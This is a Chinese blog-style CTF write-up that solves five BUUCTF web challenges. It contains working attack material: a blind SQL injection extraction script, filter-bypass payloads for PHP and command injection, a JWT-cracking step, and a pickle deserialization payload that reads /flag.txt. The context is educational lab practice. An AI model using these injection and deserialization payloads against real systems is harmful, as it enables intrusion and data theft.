一周西踢艾福(4)

abbababaababab

BUU

[WUSTCTF2020]颜值成绩查询

[极客大挑战 2019]FinalSQL一样,复习一下布尔盲注的二分查找。脚本如下

import requests
import time

url = "http://9a9cda55-1e8f-4cff-9221-917c5f669aba.node4.buuoj.cn:81/"  # Target URL
result = ""

for i in range(1, 1000):  # adjust as needed
    param_data = {}
    low = 32
    high = 128
    mid = (low + high) // 2
    while low < high:
        # injection_str = f"1^(ASCII(substr((SELECT(group_concat(table_name))FROM(information_schema.tables)where(table_schema=database())),{i},1))>{mid})"     # 表名
        # injection_str = f"1^(ASCII(substr((SELECT(group_concat(column_name))FROM(information_schema.columns)where(table_name='flag')),{i},1))>{mid})"     # 列名
        injection_str = f"1^(ASCII(substr((SELECT(group_concat(value))FROM(flag)),{i},1))>{mid})"   # flag
        param_data['stunum'] = injection_str

        response = requests.get(url, params=param_data)
        time.sleep(0.04)
        if 'student number not exists.' in response.text:  # 在这个区域中
            low = mid + 1
        else:
            high = mid
        mid = (high + low) // 2

    result += chr(mid)
    print("Extracted so far: " + result)
    if mid == 32 or mid == 127:
        break

[MRCTF2020]套娃

$query = $_SERVER['QUERY_STRING'];

 if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
    die('Y0u are So cutE!');
}
 if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
    echo "you are going to the next ~";
}

$_SERVER['QUERY_STRING'];会获得 URL 中 "?" 符号之后的部分。举个例子,如果 URL 是 http://www.example.com/index.php?id=1&image=awesome.jpg,那么 $_SERVER['QUERY_STRING'] 就是 id=1&image=awesome.jpg

第一个判断的是$query中不能出现下滑线。想起之前的一道题,PHP变量解析漏洞,绕过的方式可以用空格%20或者点%2e。但是%2b%5b不知道为什么无法通过。

第二个判断是$_GET['b_u_p_t']不为23333,但通过正则可以匹配到23333。绕过的方式是用换行符%0a绕过。

payload:/?b%2eu%2ep%2et=23333%0A,得到下一关地址/secrettw.php

jsfuck丢到控制台

根据提示,post提交Merak参数得到源码

<?php 
error_reporting(0); 
include 'takeip.php';
ini_set('open_basedir','.'); 
include 'flag.php';

if(isset($_POST['Merak'])){ 
    highlight_file(__FILE__); 
    die(); 
} 


function change($v){ 
    $v = base64_decode($v); 
    $re = ''; 
    for($i=0;$i<strlen($v);$i++){ 
        $re .= chr ( ord ($v[$i]) + $i*2 ); 
    } 
    return $re; 
}
echo 'Local access only!'."<br/>";
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission!  Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?>

三个点:

  • getIp():添加client-ip
  • file_get_contents($_GET['2333']):PHP伪协议data:text/plain,todat is a happy day
  • change($_GET['file']):根据change函数逻辑简单反解一下
<?php
$t = 'flag.php';
$re = '';
for($i=0;$i<strlen($t);$i++){
    $re .= chr ( ord ($t[$i]) - $i*2 );
}
echo base64_encode($re);    // ZmpdYSZmXGI=

[FBCTF2019]RCEService

命令执行/?cmd={"cmd":"ls"},有index.php,尝试读取。过滤了挺多东西的,之后发现这题的源码是提前给出的...但这里没有提示?(这个过滤确实够狠的)

<?php

putenv('PATH=/home/rceservice/jail');

if (isset($_REQUEST['cmd'])) {
  $json = $_REQUEST['cmd'];

  if (!is_string($json)) {
    echo 'Hacking attempt detected<br/><br/>';
  } elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
    echo 'Hacking attempt detected<br/><br/>';
  } else {
    echo 'Attempting to run command:<br/>';
    $cmd = json_decode($json, true)['cmd'];
    if ($cmd !== NULL) {
      system($cmd);
    } else {
      echo 'Invalid input';
    }
    echo '<br/><br/>';
  }
}

?>

正则用多行匹配绕过,cmd期望接收到的是一个JSON格式,所以可以像下面这样:

{
  "cmd": "/home/rceservice"
}

因为这里设定了变量的执行环境,所以要用/bin/cat。payload:cmd={%0a"cmd":"/bin/cat /home/rceservice/flag"%0a}

[Zer0pts2020]Can you guess it?

<?php
include 'config.php'; // FLAG is defined in config.php

if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
  exit("I don't know what you are thinking, but I won't let you read it :)");
}

if (isset($_GET['source'])) {
  highlight_file(basename($_SERVER['PHP_SELF']));
  exit();
}

$secret = bin2hex(random_bytes(64));
if (isset($_POST['guess'])) {
  $guess = (string) $_POST['guess'];
  if (hash_equals($secret, $guess)) {
    $message = 'Congratulations! The flag is: ' . FLAG;
  } else {
    $message = 'Wrong.';
  }
}
?>

一看解题点就是highlight_file上。

首先看下 $_SERVER['PHP_SELF']是什么,

写个demo

<?php
echo $_SERVER['PHP_SELF'];


再看下basename

测试一下:

<?php
echo basename("/index.php/config.php");
// config.php
echo basename("/index.php/config.php/");
// config.php
echo basename("/index.php/config.php/"."\xff");     
// config.php		去掉了尾部的不可见字符
echo basename("\xff"."/index.php/config.php/");
// config.php		去掉了首部的不可见字符

对于正则:

<?php
$s = 'config.php/'.urldecode('%ff');
if (preg_match('/config\.php\/*$/i', $s)) {		// 对尾部的界定可以用不可见字符绕过
    echo "match";
}else{
    echo "no match";	// 绕过匹配
}
if (preg_match('/config\.php\//i', $s)) {			// 没有对尾部界定,可以匹配到字符串config.php/
    echo "match";			// 正常匹配
}else{
    echo "no match";
}

综上,用不可见字符绕过正则。payload:/index.php/config.php/%ff?source

[CISCN2019 华北赛区 Day1 Web2]ikun

要买到lv6,但是页面中并没有。爆破/shop?page=2中的page参数,找到有lv6的页面,标志图片名称。

import requests
import time
url = 'http://f07b7eb7-c746-470b-9d28-9053e401388c.node4.buuoj.cn:81/shop?page='
for i in range(150, 200):
    resp = requests.get(url + str(i))
    time.sleep(0.04)
    if 'lv6.png' in resp.text:
        print('page is: ' + str(i))
        break

lv6在180页

购买,价格改不了,但可以改折扣。

/b1g_m4mber需要admin

jwt伪造

使用docker run -it --rm jwtcrack <jwt>,🏃🏃🏃

找到密钥直接伪造jwt.io

F12找到源码/static/asd1f654e683wq/www.zip

路由定义在/sshop/views/__init__.py

from Shop import *
from User import *
from Admin import *


handlers = [
    (r'/', ShopIndexHandler),
    (r'/shop', ShopListHandler),
    (r'/info/(\d+)', ShopDetailHandler),
    (r'/shopcar', ShopCarHandler),
    (r'/shopcar/add', ShopCarAddHandler),
    (r'/pay', ShopPayHandler),
    (r'/user', UserInfoHandler),
    (r'/user/change', changePasswordHandler),
    (r'/pass/reset', ResetPasswordHanlder),
    (r'/login', UserLoginHanlder),
    (r'/logout', UserLogoutHandler),
    (r'/register', RegisterHandler),
    (r'/b1g_m4mber', AdminHandler)
]

后门放在AdminHandler中,一眼反序列化

原理之后学学,这里先跟着打一遍。

python2.7生成payload

import os
import pickle
import urllib

class exp(object):
    def __reduce__(self):
        return (eval,("open('/flag.txt').read()",))

a=exp()
s=pickle.dumps(a)
print urllib.quote(s)
# c__builtin__%0Aeval%0Ap0%0A%28S%22open%28%27/flag.txt%27%29.read%28%29%22%0Ap1%0Atp2%0ARp3%0A.

/b1g_m4mber页面点击抓包

修改become,get flag!!!!